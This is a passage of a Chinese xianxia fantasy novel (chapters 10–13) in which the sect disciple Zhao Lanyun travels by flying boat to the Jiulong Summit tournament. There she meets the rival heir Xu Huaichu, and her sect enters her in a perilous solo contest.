“你这样真的撕得开?”
她笑嘻嘻逗弄道,“不要把手指都磨破了,信笺还好好的。”
“那你来?”南宫沐瞪她一眼,把信笺扔过去。
纸张的重量从来很小的,信笺从南宫沐手中飘出去,飞到半空。
朝揽云却只是随意笑笑,两指向上并起,灵力一勾就接到了那飘落信笺。
“怪不得呢,不愧是中境有名的预言师啊,连一纸信笺上都刻着法阵,真有意思。”
南宫沐一脸狐疑地看向朝揽云。
“怎么了?”
“你真奇怪,那个人好像都要把你杀死了,你竟然不生气,还在这里夸她。”
“真是小小孩。”朝揽云把信并在了无名指之下,重新托着下巴看向南宫沐,“我生气有什么用,她是出名的预言师这是事实啊,事实又不会因我的情绪改变,我干嘛要生气。”
“可是。”南宫沐盯着她终于找到了违和点,她连害怕的情绪也没有,说起一个差点把自己杀死的人竟然不害怕。南宫沐简直要怀疑不久前那个轻易被二师兄激怒的人,究竟是不是她了。
她微笑着,眼睛一眨一眨看向他,等待着他说出下一句话。
“我没有学过阵法,只学过丹器两门。”南宫沐把自己内心的疑问咽下去说道。
“那真遗憾。”
朝揽云随意应答一声就开始仔细观察那阵法,她手势不断变化,灵气不停输送到不同的阵法关节,“我阵法也只是中级水平,只能解开第一层封印。”
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朔这时伸出了手,接过了解开第一层封印的信笺。
“这是日记?”文朔疑惑片刻出声念道,“吾于十六年前至北境之北,破万怪,参天法,得知北境之北拦截仙界交易之消息。吾壮志踌躇,寻二过路人,破万怪之献祭封印…”
“可以写个游记。”朝揽云评点道,“不过我够呛会看。”
文朔直接抄起扇面给她头来了一下。
“不疼。”朝揽云嘴快半拍溜道。
“怎么?你还想来一下疼的?”
文朔似笑非笑,朝揽云连连摇头。在确认自己打得过文朔之前,朝揽云不准备先手制敌。如果她打过了呢?朝揽云从不欺凌弱小!
“好了,我带你去找你青月师姑治疗一下。”
柳栁思考片刻最后总结了这么一句,“束缚法阵的灵气一直缠绕的话对身体不好。”
朝揽云抬起眸,坐正了看向柳栁。
“师父,”她指了指月亮,“天幕渐沉,乌鸮都鸣过了几分,你现在带我去找青月师姑?”她假笑了一下,“抱歉,扰人清梦的事,我做不出来。”
“那也行。”
某种意义上来说,柳栁和朝揽云其实很像,一样的随和不在乎。比如更像宗主项九洲的萧驷此时就一脸菜色地把朝揽云提起来。
“不要这么摆,我摇人来治,你给我好好坐好了等治疗。”
“哦,”朝揽云一脸随和道,“所以什么时候吃饭。”
水足饭饱之后,所有人散去。萧驷颇为操心地跟着朝揽云到了她的小院,他摇的人也终于到了。
“萧狗!”还未进门就听一声怒骂,“惟你与睡眠难养而。”
陌生师兄一身土茶色外衣,明显是着急忙慌赶来的。
“哟,我说呢,原来是云师妹回来了,来来来,温世明温某人,师妹可还记得,”温世明窜到萧驷前面,朝揽云几乎是立刻就能猜出他要说什么,“你小时候我可还抱过你。”
你看,一宗门长辈的坏处就在这里,朝揽云已经准备好了,等到九龙朝巅会回来就去青月师姑的培育堂帮忙。
屠龙者终成恶龙,而朝揽云终将淡定且冷静地说出那句,哦,你小时候我还抱过你呢。
“师妹是被谁看上了?”
温世明的手放到朝揽云脖颈上,一脸稀奇地感叹道:“看看这纹路,这灵力,造诣是真深,控制的真漂亮,幸亏我和南明阵宗的朋友交流过一些,不然这个我也不一定能解。”
他的视线望向明显走神一脸漠然的朝揽云,想要询问一下施阵人名姓,然后被萧驷一句话撵回了念头。
“别想了,她自己都不知道怎么惹上的人,明天我们还要去调查这件事。”
“看来遇上的人不同凡响啊。”
“废话,这个阵法造诣能是哪个凡夫俗子。”
“我在遇到她那家店铺看到了一个千仞宗弟子的背影。”朝揽云倚着椅子,懒散地露出脖子任人检查。在盯着窗外的月看了许久后,她总算理清了这一天的所有思绪,提取出了可以用的线索。
千仞宗会了解什么,或许。
10. 第 10 章
萧驷并没有准备让温世明知道前敛的存在。在温世明将朝揽云脖颈上余留的阵法清除后,便很快伴着傍晚的清露带着他离开了。
“糟糕,”过了半晌,有些失眠的朝揽云才后知后觉发现,“忘记问问师父被我破纪录的感觉了。”
她有些后悔地趴在窗边,日升星移之刻极快到来,太阳如同刚从蛋清中扑腾出来的蛋黄,鲜艳欲滴晕染了朝霞万朵。朝揽云四指按着窗沿,有一种冲动,想追太阳而去。
“醒得好早。”青怜走进院子而来时,就看见她趴在窗口,眼睛一眨不眨盯着远方蒙暧薄雾。
“太阳太刺眼了。”
朝揽云不知所谓叹了口气应答,然后很快笑着看向青怜。
“怜儿,我们什么时候去中境啊。”
她的眼睛长期一眨不眨,看起来有些涣散,但又专注。青怜不知为何无奈地向前捂住了她的眼睛。
“没有休息啊,眼睛都红了。”
她的声音轻叹。
“习惯了,以前昼夜颠倒太多,”朝揽云便将脸直接埋在她手心,极具信任感,完全不担心会受到什么伤害一样,“别担心,以后会好好休息的。”
虽然只是为了让她安心扯的慌,朝揽云还是说的无比真挚。
“现在睡得着吗?”
朝揽云摇了摇头。
“那我陪你在这里休息吧。一周后就启程去中境了,师父让我给你带一些衣服过来。”
青怜展开手中的黑色练功服,“这次回来你好像没带什么换洗衣服。”
“因为都烧了。”朝揽云敷衍应答一下马上转移了话题。
“青月师姑有心了,我和你一起去拜访她吧。不过师姑有空吗?总领一个宗门的杂务,感觉没有闲暇时间。”
“师父最近在筹备九龙朝巅会的事情,不用着急现在去,这次大会师父会和我们一起的。”
“嗯?”朝揽云抓住青怜挡住她视野的手腕,挪开一只眼睛的视野看向她,敏锐发问道,“青月师姑要培养继承人了吗?九龙朝巅这种事,一般不会由青月师姑伴随的,宗门离不开她。”
青怜看着她微皱眉头,眼神专注,睫毛飞快眨动扑闪着,挠的她手心有些痒,不由发笑。
“对,这次要锻炼一下慕青师姐,这次回来,如果师姐做的不错大概就要升长老了。”
朝揽云思考了片刻,想起了回来之前听说的青怜会继任青月长老慕峰的消息,她看着青怜,而后点头道:“那就且待九龙吧。”
……
仙舟很素净简朴,船帆飘扬迎着高空,朝揽云一身黑衣站在船舵旁看着下方,太初宗正慢慢远去,天地纵目极小。
接到九龙朝巅会具体时间后的几日,她一直在院内修炼极少外出,根据大师兄萧驷通知她的消息,前敛事件被涉及的另外一人——千仞宗少宗主徐怀初会随千仞宗宗主在中途来到这座飞舟上进行交流。
而此刻,等待时分。
朝揽云正一脸兴味地歪着身子靠在船身上,看着不远处明显是团体赛主心骨的莫易、使君其两人被推诿而来。
真真有意思。
“怕我的吗?”
她声音轻佻张扬,眼角笑意都逸散而出,感染了她身旁一脸疑惑的师青柏看向她。
“原来我是要被推推搡搡才敢过来的大怪物啊!师姐师兄们很怕我吗?”
“师妹,哪有这回事啊。”莫易被推到使君其前面,有些无奈地露出了酒窝,“你看使君都被你挤兑地不好意思了。”他指向故意使君其使坏道。
使君其梗了梗脖子,瞪了他一眼,随后有些别扭地认真看向朝揽云邀请道。
“云师妹要一起去聊聊天吗?”她指向不远处团体赛的那群看见朝揽云看过去就开始热烈招手的师姐师兄们,“大家都很想和师妹交流一下。”
好多人啊,交流一下是怎么把他们打趴下的吗。朝揽云心中默默想道,拒绝群殴。
她眸光向那瞥了一眼,随即弯起笑容,牵起师青柏的手招了招,“谢谢师姐的好意了,不过我还要照顾一下青柏,她看不见,不太方便。”
师青柏听着她这句把自己作为推诿理由的话有些不屑,嘴角无意识向下撇了撇。
莫易和使君其便看向师青柏眼上的白布,心中有了成算也无奈准备告别。
“闲着也是闲着,”看着一脸可惜的两人,朝揽云又犹豫开口,“要不要给你们耍个杂耍吧。”
朝揽云在两人视线下站起,指尖一挑,将不远处茶桌上的筷子随意拿了双过来,并着几个倒满水的茶碗茶盏。
几个茶碗茶盏被筷子一挑,水溅不漏,规律纷飞,如水墨飞舞,其中两盏顺着力道各自飞到两个人身旁等待被接住。另外几个飞了过去,如浪中银鱼寻目标而去。
“泼墨赌茶香,聊赠各位接茶客。”
朝揽云将筷子一扔扔向了不远处,筷子刚刚好插进了洗碗盆中。
轮班的几位洗碗的师兄姐一脸惊叹。
使君其见状手腕飞舞,快速接过了茶盏,那轻飘飘的力道让她有些惊讶,“师妹的力道控制的太过,”她斟酌着用语,“严丝合缝了吧。”
“使君用错成语了,用得当更好些,”莫易忍不住笑了起来,“不过,”他晃了晃手中茶盏,将茶盏向她面前一横,“我这可否算接茶客了呢?”
朝揽云神色不变,眸光轻扬。
“师兄认为呢?”
说完她就自然地因不远处的惊呼移开目光。
不远处不敢过来的那群师姐师兄看着那三个飞过去的茶碗,手忙脚乱地努力去接。
她眉角挑起,志得意满孤芳自赏地看着。这才有意思嘛!
“懒云,”一只笔茧剑茧很重的手接过了两只茶碗,滴水不漏。
而另一只茶碗被一个白衣马尾刀修用刀柄接住了。
“跟我去船头参加交接。”接过两个茶碗的萧驷把茶碗随手放到那群人中间的茶桌上宣布道。茶水未散,滴滴在碗中荡漾。“千仞宗的人要到了。”
他的声音很严肃,似乎是看出了她故意逗人的坏心思在假装正经。
朝揽云便只得拜托了使君其和莫易照顾一下师青柏,向前跟随萧驷而去。
“师妹,”
一道声音响起。
穿过人群,经过那接过茶碗的刀修,他短刀轻晃,刀身映碗姿。他挂着笑,刀柄扬起
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,抛起那茶碗,茶水微溅,饮尽笑道,“多谢赠茶。”
朝揽云看他一副招摇模样,心中微啧,很快收回了目光。没有对战过的接茶客,看来是预备队的前辈啊。
来抢人风头。
“不必谢,期待与这位前辈的对决。”
碍于现在无法让自己更招摇一些,她目不斜视穿过了那群包围圈,便跟着时不时一脸兴味挪过视线向后看的萧驷走到了船头。
不远处,遮天蔽日的飞剑驶来,宗主和青月长老正规整站在船头准备迎接千仞宗的来客。
朝揽云站在萧驷身后探出头去。
飞剑上并非皆是千仞宗弟子,还有不少散修也是喜于以飞剑赶路,毕竟光风霁月,清风无限。
两柄飞剑靠近飞舟,领首飞剑之上的人模糊看来宽袍广袖形容较为凌乱,高天之上狂风吹来,他灰白的发丝顺风飘散。
一直表现古板严肃的宗主项九洲也向前而且,端正威严,与那位千仞宗宗主遥遥对视。
“徐宗主!”项九洲高声拱手喊道。
“项宗主!”那灰白发色剑主也快速奔驰而来。
朝揽云抓着船侧,激动地看向前方两人的会晤。其实这只是一次常见的会面,但是高空中的风,不断刮过她脸颊的空气,这些都让她激动地眼睛发亮。
谁敢说自己没想过覆手高空之上,一言一行就决定了大陆的方向呢?
“千仞宗徐怀初见过项宗主,青月长老。”
“太初宗萧驷见过徐宗主。”
“太初宗朝揽云见过徐宗主。”
方才徐宗主身侧的另一位行剑人开口见礼,朝揽云随着萧驷的视线望去。
剑上人风姿卓越,眸眉凌厉,两眸下眼睑分别点有两颗赤红血痣。他声音青涩温和。
是千仞宗的继承者,她心念道,估计将来会经常和大师兄合作。
正想着,那光风霁月之人投过目光而来。朝揽云正好奇对上就见他又把视线快速移开了。
“既然如此就让小辈们先一起去玩吧。”疑惑间两位宗主综合想法,决定将在场的小辈都撵出去。
徐怀初便下剑落船,长袍飞扬,走到萧驷和朝揽云这边。
“萧师兄,好久不见。”
“徐师弟,”萧驷跟着笑起来,“好久不见。”
朝揽云退后几步,决定远离他们两个宗门接班人的阵地。
“师兄,我就先走了,有事情再来叫我。”她招着手,意欲溜去。
萧驷依旧面带笑容地抓住了她后脖颈的衣物,“过来见过徐少宗主,这次比赛你们一定会对上。”
“徐师兄!”朝揽云无奈拱手见礼,亦步亦趋跟着他们走向了船舱。
“听闻朝师妹一周前也去过那条有预言师传言的长街?”
前方萧驷与徐怀初的谈话声逐渐落下,萧驷回过头来看向她。徐怀初也落后一步,笑眸盈盈望着她道。
朝揽云抬起头,入目只是那如血红痣,红得亮眼。
“是去过。”
她勉强应答道,不知为何她看见徐怀初就有一种危机感,并不愿意过多接近。
或是动物对于同等级强者的警惕吧。
11. 第 11 章
徐怀初笑了一声,便专注看向她。
“师妹去的那天似乎也是我去的那天。”
朝揽云抬起眸来打量了他一眼,努力回思着是否见过这两颗亮眼的红痣。
“没印象。”在努力回思无果后,她直接干脆利落出声道。
两人交谈中,萧驷神色莫名回头看向了徐怀初。
这般热忱?他若有所思。
这么想着,他轻咳一声,落后几步隔在了两人中间:“按照宗门之前通过符箓的交流推断,徐师弟只比你早进去几分钟,看到的人却与你看到的不同。我们怀疑那个店铺被施了空间法阵。”
“这几天被派去长街的弟子们并没有找到那个店铺。”
“我没有撒谎。”
朝揽云第一反应回答道,而后梳理好他言语中所含的信息量规整回答,“我的确是看到一位背剑人进入店铺后进入的,而且我并没有察觉到法阵的存在。”
萧驷无奈点了点头。
离两位宗主交谈的地方已有不少距离,朝揽云便停下脚步,倚在船舱门外,敲着剑柄。遮不住的狂风冲来吹起她耳畔碎发,吹得她有些睁不开眼。
她背部挺直,扬了下头,骄矜又轻慢。
“徐师兄可被困住了?”她眯眼看向徐怀初。
梧桐有桵,非情之故也。徐怀初看着她,突然就想起了启程时从天上看到的泰岭那棵东洲著名的梧桐幼树,听闻是两帝皇时期遗留下的。
与她实在相似。
“很遗憾,我进去不过须弥便被掌柜赶出了。”徐怀初眸光动了动,显得很惋惜,“得亏云师妹伶俐,否则我们定不能破获长街预言师传闻,没想到是真的前敛在搞鬼。”
朝揽云心情好了片刻,她高看了这位同龄的高辈者一眼。
在心情好的时候,朝揽云向来不惮于与他人多交谈几句,她点了点头,示意他继续发问。
“听闻云师妹见那女子挥墨题字,不知师妹可有见得题字为何?”徐怀初微微一笑,在萧驷的注视下神情自若道,“我被店铺掌柜赶出前得一份题字,言曰‘天外修劫葬’,师妹可有何见解?”
朝揽云皱起了眉:“你的预言就这么告诉我了?”
“当然。”
徐怀初格外真诚。
“为了更好的研究,我们都把所有信息交流过了。”萧驷皱着眉插话道,“徐师弟也早已知道了。”
“毕竟和当事人交流才能最全面。”
徐怀初扯了扯嘴角,有些收敛地抱剑敛眸了。
“我不知道你的预言什么意思,从字面意思来看是会有劫难的意思。”朝揽云草草答到,她对刚认识陌生人的命运并没有兴趣,“我也只看到了她提笔的两句。”
“几度麒瑞梦,霞光不遮眼。桃花林下鹿仙言,鹭洲旅馆半遮天。第二句大概不是预言,是我的过往。前敛师或许真的测算了我的命运,但是她的确没说出来。”
鹭洲旅馆,徐怀初神色一怔,他听闻过那个不久前的鹭洲火浸灾。在散修很有知名度的观星旅舍遭了一场火灾,火如水浸,存活者不过了了,未想朝揽云竟与其有关系。
“不过,既然她的徒弟会参加这届九龙朝巅会。她在九洲朝巅上一定能找到机会测算我们的吧,为什么这么着急亲自前来得罪人?”
“莫非有什么苦衷?”
另一边朝揽云还在不紧不慢说着,她的目光瞟过突然默契对视的萧驷和徐怀初。
“懒云,”萧驷开了口,“她对你使用了窒息法阵。”
朝揽云一脸疑惑,点了点头示意他继续说下去。
“无论有什么苦衷都不是原因,我们必须追究,不只是为了你。”
一时间哑然无声,等朝揽云缓过一瞬间被轰击的脑子反应过来,她轻飘飘抬起了头。
“是我考虑不全面了,但这不算个理智的决定。”
“什么是理智的决定?”
萧驷的神色极差,但是朝揽云并没有看向他,她随意歪过头去看云了,明显摆出了一副不想继续被他们打扰的图景。
“是不方师祖教你的吗?”
“云师妹。”
徐怀初在这焦灼的气氛
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中及时开了口,他眸下红痣向上一眨,“要不要和我去走走,听闻你常年在外,我可以为你讲解一下九龙朝巅会的详细规则。”
朝揽云没有反应,她眸光略过脸色不太好的萧驷。
“跟徐师弟去走走,懒云。”
萧驷强扯了一道笑意开口,“九龙朝巅会有些专门对宗门规定的规则,我还没来得及跟你说,让徐少宗主给你说一下。”
朝揽云感觉他下一秒就能把牙齿磨得吱呀吱呀乱响了。虽然并不明白他究竟在为何生气,但是朝揽云认为自己还是很会看眼色的。
是因为好意被辜负了吗?那是不是应该道谢?
“哦,好的,”她点了点头,慢半拍道,“谢谢大师兄帮我追究。不过我其实没死。”
因为并不理解他的情绪,朝揽云做出的笑意有些僵硬,说出的话也更加火上浇油了,她看见萧驷的脸色肉眼可见变黑了。
“我们走吧。”
徐怀初对她说,想挪开她的注意力,避免两个人直接吵起来。他见着萧驷已经掏出符箓准备跟不知何人沟通什么了。
“哦。”
朝揽云快速转过身来跟着徐怀初远离了萧驷。
“你认路吗?”
半晌风过幕帘,卷起散发糊脸。
朝揽云看着停下脚步的徐怀初后知后觉问道。
“师妹现在才想起来问啊。”徐怀初颇为苦恼。
感觉自己完全被漠视了呢。
“嗖”的一声,天上坠来反星玉盘。
朝揽云瞬间向前,黑剑换手,劲服击空。上空而来的碗筷落入她手中被捏紧。
朝揽云这才意识到她们已经走到了自己表演过的地方,前方莫易、使君其他们正在寻找着不知飞往何处的碗筷。
真如同蝴蝶振翅引星,她回头看着一手接到不少碗筷的徐怀初暗念道。早知就不显这个本事了。
“师妹。”
徐怀初眸中星光点点,散发出明显的兴趣,将手中碗筷递来。
“让徐师兄见笑了。”她敷衍拱拱手,接过了碗筷。
12. 第 12 章
“朝师妹,还有徐少宗主?”
眼观四方耳听八路的莫易,是第一个发现她们到来的人。
他招着手,猜测道,快速走了过来。
“徐少宗主,久闻大名啊。”
朝揽云神色不变,略过莫易,托着碗筷向前走,把那摞碗筷放到了人群中的桌子上引起周遭人的一阵心虚。
她目光扫视了一圈人群,发现那名接住茶碗的刀修师兄并不在场。
“你好。”徐怀初拱了拱手,向走来的莫易温和笑道。
“徐少宗主和师妹谈完事情了吗?”莫易眯起了眼,仔细盯了他那被睫毛阴翳隐约盖着的红痣,确认了他的身份。
千仞宗徐少宗主下眼睑的两点红痣,可谓是最为标志的特征了。
“恐怕还没有,萧师兄怕是想让我给朝师妹说一下另一种单人赛参赛方式。”
莫易顿了几秒,目露惊异状。
“群挑?议事堂果然对师妹信心非凡。不过这是否不太稳妥。”
徐怀初看他表情便知他误会了,他轻轻摇了摇头。
一阵碗筷声…
两人看向正撑着茶桌,一脸微笑看着那群乱丢碗筷弟子清洁整理碗筷的朝揽云。
“怎么了?”她弯起眸回过脸来。
徐怀初正想要回答什么,就看见朝揽云的神色略有些恍然了。
他跟着向她的目光她探去。
船帆飞扬处,一白发老人拄杖而来。
不方长安,他怔愣片刻,百年从天骄城叛出失踪的遗老后代,他小时还在天骄城时见过他的通缉令。
“这位是?”他轻声问到。
“衍尘师祖。我记得你们是叫他这个名号。”莫易拍了拍他的肩,走向了还在一脸恍惚的朝揽云身畔。
“师妹!醒醒神了。”
朝揽云这才收回目光,她将方才空中瞟到的一只纸令符抛掷脑后。
“师妹,青柏被青怜师妹接走了。”使君其在船舵处,等莫易辨出陌生人的身份后走上前来。
朝揽云点点头。
“谢谢师姐帮忙照顾她。”
甲板处传来吱呀声,朝揽云望去时却没有任何疑迹。
茶水晃漾,倒影万丈云波。茶桌之上,四方人端坐四方。
“约几百年前,天骄城汉家家主风华绝代,使一把白扇,扬言九龙朝巅所有人都将败于她手下,此言激起了天下群愤。主持朝巅会的鹿渊阁长老们因众怒决定为汉家主独开一种挑战赛。”
徐怀初坐在朝揽云对面,专注细心地讲述着他从脑中找出来的故事典故,使这次谈话尽量有趣。
“鹿渊阁众老借众意,设蝮蛇赛,入赛者需舍一身利刃,独自步身千里,仅以自身能力应付路上参赛者的任意袭击,最后走到鹿渊阁前,荣获鹿渊阁荣誉长老之位。”
“什么?”
话音未落,莫易、使君其脸色便变。
“你这千仞宗的贼子究竟想做什么?”
莫易站起身来,手上紧紧握着利器盯着他,“舍一身利刃,独自步身千里。亏你说得出来。”
他嘴角微颤,“你说的竟是这一种,心思何其之毒。”
即使是加入宗门不久的使君其也明白这一比赛的危险,如果朝揽云有一损失,太初宗就会失去这一代的最强者。
在比过赛以后,九龙朝巅会的选拔赛选出的这一波弟子被她轻易击倒后,所有人都已默认她会在将来带领这一代太初宗的所有人。
没人能接受这样一个人,要去挑战这生者所存不足一成的比赛。
徐怀初神色未动,只是微笑地看着朝揽云饮完茶,将空茶碗放下。
“我知道了。”
她淡定说道。
“师妹。”即使是加入宗门不久的使君其也不能接受她有什么差错。
每一代的最强者都代表着边境可以降低的死亡人数。
使君其即使加入不久,也见过不少谈笑授课过的师长的骨灰被送回。
莫易也神色凝重,他没有说话,好似已经将她当成了领导者,完全听从她的话。
“不用担心。”朝揽云望过来,笑得很温和,“我唯一遗憾的就是这个制度不是为我而创。而且,”她看向徐怀初,眼睫上扬,“既然要我参加这个制度,北屿和西漠一定发生什么剧变了吧,要一个年少气盛的标杆去压着。”
“如果我胜了,太初宗之名能在沉寂之后再次传名,我们会有更多生源,边境的师长们也会有希望。”
“这一点值得赌,而且谁说我会输的?”
“真是令人高兴,”她落下眸,轻笑一声,“那个人是我。”
“师妹意气风发。”徐怀初一脸惊艳,直视她赤凌的眸子,“不出师妹所料,两境的确出问题了。”
他眸中是一树蓬勃生命的梧桐,虽是幼树,朝光记生。
“东洲这边要在我和你之间选一个,很期待和师妹的较量。”
朝揽云这才正式打量了他一番,高挑的身材,背着一把银剑,除了那惹人注目的眼睑痣,完全看不出什么。
“期待与师兄的较量。”
她眸子放出兴趣的目光。
莫易和使君其见此只得重新规整地坐下。
“师姐师兄也不要放松哦。”她含笑望过眸去,“震慑永远不只有立寒星这一种方式。独自站立在高空总是很容易被偷袭的,只有让人知道宗门后继有力才能避免后患。”
使君其沉默片刻,看着这个相识不久的师妹。
使君其也是个天才的,她从西漠来到这里,还胜了九龙朝巅会的选拔。她被朝揽云打败后曾经无比怀疑自己。
“为什么相信我,我是西漠人。”
“师姐是什么人有关系吗?”
朝揽云其实不太明白,她笑得很温和,清凌凌的眸子望过去,“你不是我师姐吗?还和我一起去参加九龙朝巅会。”
徐怀初看着她们交流,目光突然软了软。
真可惜,很宽和的领导特质,但是去北境就很难生用了,不知她能严厉管束他人吗。
朝揽云敏感地察觉到他的目光,皱了皱眉,她不喜欢这样奇怪的目光,眼神中掺杂着其他东西。
是个心里事情过多的人。
莫易接过了使君其的情绪,轻声安慰。
片刻静默的茶桌被青月长老的脚步声打断了。
朝揽云连忙扶额歪头望空
青月长老见状俏眉轻挑,漫不经心地向她问道。
“懒云,青怜呢?”
朝揽云自知躲不过,连忙站起,有些拘束地回答。
“我不知道。”
“你又不知道。”青月长老叹了口气,因着徐怀初在场究竟没有说出什么太狠厉的话,“青怜念了你好些年,不要只让她去找你。”
“是。”朝揽云抿了抿唇,“我会照顾怜儿的。”
“青月长老,我知道。”
莫易忙和使君其站起。
“长老,我们带您去找青怜师姐吧。”
青月严肃地点了点头,与徐怀初互相示意便离开了。
“那位便是戒律长老啊,久闻大名。”
朝揽云站在原地,没有什么神色变动。徐怀初一时不知该如何去做,只得随意开口来引起她的注意。
她的眸从眼角斜着过来瞥了他一眼,嘴角勉强扯了扯,勾勒了个不怎么样的笑容。
她看见了他身后正在走来的两个宗主。
“师兄,你师父来了。”
徐怀初沉默片刻,他转过身去,笑意微敛,端正又规整地向那身后的千仞宗宗主所在地走去。
“师傅,要走了吗?”
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徐宗主微微颔首就与徐怀初御剑起空。
“项宗主,九龙山再见。”
他们站在剑上,向下投首。
“当然。”
徐怀初目光不舍地向下看了一眼,跟着徐宗主御剑离开了。
宗主回声过后就一脸严肃看向了朝揽云。
“懒云,这次你和徐怀初的比试取消了。你去参加蝮蛇赛,通过以后参加三决赛,夺得单人赛冠首。”
朝揽云不想回答,她只从他的话语中感到了各个宗门世族的博弈,她因此感到烦躁。
她想,那个看起来很正气的红痣师兄怕是要愧疚了。
“知道了吗?”
“知道了。”
船舱外万丈长空一痕而过,舟穿星间,连北斗,向中境。
“小白?”
朝揽云睁开眸,眼前是瘦削挺立的长孙白的一道背影,他望着的方向传来滚滚浓烟。
“那是什么?”她的唇角颤抖起来。
滚滚红烟飞上高空,若同被水浸湿一般,累赘的翻腾。
“小白。我们不是在旅舍吗?九昭姐她们呢?”
她努力使自己的牙齿不打颤,让自己能说出话,舌根僵蛹一般,梗住喉口,一时之间呼吸不出方外。
“小,白。”
她的舌头像是不是自己的。她舌根有种剧烈的呕吐感,使得舌跟着风旋一般不受控卷曲了。
“师父。”
长孙白回过头来,脸上有些黑炭脏污,朝揽云辨不出他的五官,他的嘴唇奇怪地张动着,朝揽云什么也听不见。
远处火灾之处,如万兽腾舞,挣扎在火焰中被浸息的鹈鹕、青龙、巨蛇、蜈蚣……
甚至还会有更多,在此处看不见的那些妖那些人。
“颂九昭!”
她舌尖冒出一声尖厉的嚎叫,瞳孔奇怪地张大了。攥住领口与舌根的梗厌一齐大口呼吸着。
心脏刺痛,脑袋哗哗的无意义水墨,看不见色彩。
朝揽云努力挣扎着,左手向后甩了一道阵法围住想要扶住她的长孙白权当保护就夺步而去。
破空出现在她手中的黑剑也现出磷磷可裂骨之势,仿佛下一刻就如惊雷劈去。
“朝揽云。”
有人哽咽叫她。
眼前只是火海阵阵,她没有找到任何一个人的身影。如果没有尸体还可以说服自己。
朝揽云可揽群山之上触顶之云?
不可。
她深吸一口气,猛地睁开眼,眼前仍是船舱面板和窗外投来的夜日光芒。
烟火阵阵仿佛还倒映在瞳孔。
呼吸是需要自己控制的。
她感到浑身上下都是骨髓透出的凉意,耳朵流过眼泪。
“师妹这么晚还不睡啊?”
推门出去,月色拂空如水流淌在白衣刀客身上。
朝揽云瞥见他的刀柄,眼中漏出一丝怀念。
“观星旅舍的火灾看来给师妹带来不少阴影啊。”刀客言笑晏晏,朝揽云却只是沉默不语。
“看来是我的不是,触及师妹伤痛。不过师妹一直沉溺于此的话,等到了预备队我可不会同意你接任七小队的。”
“师兄是七小队的哪位?话有点多了。”
朝揽云不想说话,却还是勉强敷衍道。
刀客被她怼了一下,怔愣片刻便笑道:“还以为师妹会一直忍耐呢。不好的情绪都化作绕指柔,那句话是这么说的吗?”
“绕指柔?”朝揽云目光神采怠懒消失,轻嗤嘲笑。
“我很期待师妹和朝晖师兄的比试,”刀客并没有因她的嘲笑敷衍恼怒,他若有所思地轻敲着剑柄笑道,“师妹若是赢了,我就去当你的副队长。”
“看来师兄在预备队地位不低啊。”
刀客淡笑不语。
13. 第 13 章
中境很远,远得光是从东境到这来就费了半个月,但它又不远,五境之内它离东洲最近。
将近九龙山,陆地空中人群熙攘,时不时有相熟者互相招呼。
朝揽云站在船边,轻垂目,颇为无聊地从飞舟上向下望去,一片御剑白衣的遮挡之间,她望见了下方不远处的九龙山。
九龙山,山脊如九龙向山顶朝圣,崇向龙珠。外围人群繁密,接近九龙山之处却毫无人影,令人疑惑。
她从容地扫了一眼船下,腰上挂着那把细长乌黑的剑,抱着臂,背靠船身,身体微微向后仰。
黑发随风飘扬,随意系上的红发带和黑色武服的衣摆也被风吹得猎猎作响。
“天真高啊。”
被她劝了很多遍还是坚持留下的青怜轻声感叹道。
“嗯。”
摘下了白布瞳孔色黑的师青缇也探头下看轻声应和。
“是吗?”
朝揽云轻启唇齿,面上带了些跃跃欲试,伸手按住了船侧。
“你们觉得如果从这万丈高空落地,会是什么感觉?”
说罢,单手用力,她一个翻身,跃下了飞舟。
挂在腰侧的剑瞬息飞出,它脱离腰侧,在空中翻滚几下,随朝揽云落下。
迎着舟上空中目击人们的惊叫,空气被越过,徒留天空叹剑的几声哀鸣。
朝揽云看着上方,瞳孔放大。
一个翻身,脚踏万丈高空,望目下山河之小天地之大。她勾唇望着下方,脚下的剑身兴奋得呜呜作响几个翻滚。
偶尔听到几声怒骂,“停剑,是谁家的衰孩子,从这么高的空中跳下来不要命了?”
她一马当先飞向了九龙山。
“懒云!”
“师姐!”
飞舟上传来了几声呼唤,朝揽云一时恍若未闻,风声过耳不留痕,驰剑一往向无前。
周围御剑赶往九龙山的人并不少,零零碎碎赶来的散修、剑修还有一些像她一样执意脱离队伍的宗门弟子。
有不少人见她模样,争驰与她并肩。
耳旁传来了沙沙的声响,是剑与空气的相争。
“前方这位道友?要不要同道奔山?”
不远处跟着赶过来的一位布衣修士提声问道。
朝揽云脚尖微顿,脚下黑剑速度不改,只任她反身笑眸回答。
“道友同是前往九龙朝巅之人,到了九龙山自会相遇。”
说罢,黑剑顶着寒风冽冽飞速而去,直至她浓烈黑发伴着飞舞红带同在路人眼中消失。
前方区域空无一人,奇怪的啪叽一声,上方一阵压力传来,朝揽云措手不及如佛手拍下被肆意向下压去。
怪不得没人呢,她心底咬牙,大意了。
她脚尖一踢收起剑,任禁制压着自己自由下落,一只折翼的雀将跃入陆地那广阔树林。
落到树林的高度时,朝揽云才终于睁开眼睛,下方有不少行走人群,她运起灵力一个翻身踹向了附近的树,借着这股冲力在一棵又一棵树中不断转移,慢慢向前赶路。
树下交谈声阵阵。
在此不远处,一青衣女子跟着跃下,飞舟横渡也在九龙山附近的飞行禁区落下。
不知多久,前方已经毫无人踪,朝揽云才喘着气愉悦地坐在了接近山峰的那颗树的树杈上,她看着不远处的坡泉,靠着树干笑了起来。
不愧是九龙道观所在之处啊。
就算是借力浮空也是不容易。
可惜还要折返去找宗主他们,她有些苦恼地看着将近的山巅想,想当第一个登顶人。
远处草丛窸窸窣窣,一袭白衣急急行来,朝揽云藏在树上透过树叶向下望去。
白衣人站在树下,端身正冠,她只能看见那袭白衣背后背着一个用金丝绣着花纹的黑色剑囊。
她的黑剑微微嗡鸣,是在不满自己的待遇,近十年都没有过一个规整的剑囊。
朝揽云安慰又警告地摸了它一下。
白衣人听力灵敏,他察觉到剑鸣回过头来,朝揽云在他向上看前连忙一个纵身离开了这棵树。
徐怀初。
她看见他下眼睑那两颗红痣才恍然大悟。
“云师妹!”
他似乎是犹豫片刻后扬声开口,“可否出来一见,师父说要你一个人去闯那蝮蛇赛。”
朝揽云无意为难他,她跃下树枝,轻飘飘地在他背后降落。
“徐师兄是有什么事吗?”
徐怀初回过了头,眸子中有些焦急,清凌的色彩,眸下红痣浓艳。朝揽云走神想道,若是这幅相貌去扮花魁定是可让无数文人墨客出诗著文。
“我会和你一起参加蝮蛇赛的。”
“为什么?”
朝揽云有些疑惑。明明是应当感谢的话。
蝮蛇赛是会死人的。东洲不能折两个人,朝揽云并不了解他,不知道他会不会死。
